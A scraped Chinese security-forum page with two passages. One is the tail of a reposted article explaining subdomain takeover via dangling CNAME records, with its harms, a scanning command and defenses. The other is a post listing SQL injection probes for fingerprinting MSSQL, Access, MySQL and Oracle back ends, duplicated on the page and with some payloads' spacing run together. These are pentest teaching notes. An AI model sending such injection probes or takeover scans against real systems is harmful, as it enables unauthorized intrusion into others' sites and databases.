    某天A公司的该服务因为某些原因不再使用了,于是直接停掉了云主机 imA.cloud.com (或该云主机无人管理已过期)。
    此时shop.a.com 的CNAME依然是 imA.cloud.com(关键:A公司未重新设置 shop.a.com 的CNAME值)。
    如果攻击者w使用cloud.com的云服务并尝试申请并成功得到了云服务主机 imA.cloud.com。
    攻击者w将 imA.cloud.com 的web页面改为文本"hacked!"。
    此时访问shop.a.com 则出现 文本"hacked!"。

    0X05    漏洞危害
    * 获取Cookie
    * 构造页面内容 (包括但不限于钓鱼、广告...)
    * 执行任意javascript代码(类似XSS) 所以XSS具有的危害 这里都有
    * 探测内网(利用实时通信标准WebRTC 获取存活主机ip列表 甚至部分端口 能打到内网则类似SSRF漏洞 可对内网发起许多攻击... 如XSS可以利用redis未授权Getshell)
    * 获取管理员或普通用户的cookie 读取账户特有的信息/执行账户特有的操作
    * 窃取表单凭据 - 类似键盘记录 记录或读取表单输入的内容
    * 构造钓鱼页面 - 窃取用户及管理员其他的凭证
    * 漏洞联合 - 使用XSS无交互地利用CSRF漏洞. 有的anti-CSRF机制只判断Referer的值(自身/兄弟/父子域名 则正常响应) 如果这些站有某处存在XSS则可无交互地利用CSRF漏洞
    * XSS蠕虫 - 在社交网站上可创建蠕虫式的XSS攻击 传播速度极快 影响极大
    * 获取前端代码 - 如管理员后台系统 修改密码处的html代码中有对应的字段名 可根据代码构造请求 以实现新增或修改管理员账号密码
    * DOS攻击 - 自动注销 让用户无法登录 严重影响业务使用
    * DDoS攻击 - 对其他站点进行应用层DDoS攻击 如持续发送HTTP请求
    * 传播非法内容 - 跳转或直接修改页面内容为非法内容. 如 广告 诋毁 等
    * 使浏览器下载文件 - 结合社工方法欺骗用户 使其打开有危害的程序
    * 挖矿等
    *...
    总之危害很大。
    另外其他配置可能会扩大危害,如A公司设置了泛解析*.a.com 都指向了 云服务提供商的某个云主机的域名。

    0X06    测试方法
    1、手工:nslookup
    2、michenriksen/aquatone命令。 aquatone-takeover --domain xx.com --threads 500

    0X07    防御方案
    * 提高资产管理能力 (避免云服务过期或被关闭,被他人"抢注")
    * 可以考虑使用名称不可自定义(随机hash值)的云服务商 如258ea2e57bca0.Acloud.com (避免云服务过期或被关闭,被他人"抢注")
    * 如果被"抢注" 重新设置域名的CNAME

     
    文章转自阿里云的先知社区,原文链接为:https://xz.aliyun.com/t/4673
    作者:arr0w1
     

    sql注入之数据库类型判断

    渗透测试willeson 发表了文章 • 2 个评论 • 48 次浏览 • 2019-04-08 06:53 • 来自相关话题

    0x01:MSSQL

    ID=1 and(selectcount(*)from sysobjects)>0返回正常

    ID=1 and(selectcount(*)from msysobjects)>0返回异常

    ID=1 and left(version(),1)=5%23//红色字体也可能是4

    ID=1 and exists(selectid from sysobjects)

    ID=1 and length(user)>0

    ID=1CHAR(97) +CHAR(110) +CHAR(100) +CHAR(32) +CHAR(49) +CHAR(61) +CHAR(49)

    0x02:ACCESS

    ID=1 and(select count(*)from sysobjects)>0返回异常

    ID=1 and(select count(*)from msysobjects)>0返回异常

    0x03:MYSQL

    id=2 and version()>0返回正常

    id=2 and length(user())>0

    id=2 CHAR(97,110,100,32,49,61,49)

    0x04:ORACLE

    ID=1 and'1'||'1'='11

    ID=1 and0<>(selectcount(*)fromdual)

    ID=1 CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)

    0x05:其他方法

    “/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:

    “--”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:

    “;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。



    作者:lndyzwdxhs
    链接:https://www.jianshu.com/p/995f57e36918
    来源:简书
    简书著作权归作者所有,任何形式的转载都请联系作者获得授权并注明出处。 查看全部
    0x01:MSSQL


        ID=1 and(selectcount(*)from sysobjects)>0返回正常

    ID=1 and(selectcount(*)from msysobjects)>0返回异常

    ID=1 and left(version(),1)=5%23//红色字体也可能是4

    ID=1 and exists(selectid from sysobjects)

    ID=1 and length(user)>0

    ID=1CHAR(97) +CHAR(110) +CHAR(100) +CHAR(32) +CHAR(49) +CHAR(61) +CHAR(49)


    0x02:ACCESS


        ID=1 and(select count(*)from sysobjects)>0返回异常

    ID=1 and(select count(*)from msysobjects)>0返回异常


    0x03:MYSQL


        id=2 and version()>0返回正常

    id=2 and length(user())>0

    id=2 CHAR(97,110,100,32,49,61,49)


    0x04:ORACLE


        ID=1 and'1'||'1'='11

    ID=1 and0<>(selectcount(*)fromdual)

    ID=1 CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)


    0x05:其他方法


        “/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:

    “--”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:

    “;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。




    作者:lndyzwdxhs
    链接:https://www.jianshu.com/p/995f57e36918
    来源:简书
    简书著作权归作者所有,任何形式的转载都请联系作者获得授权并注明出处。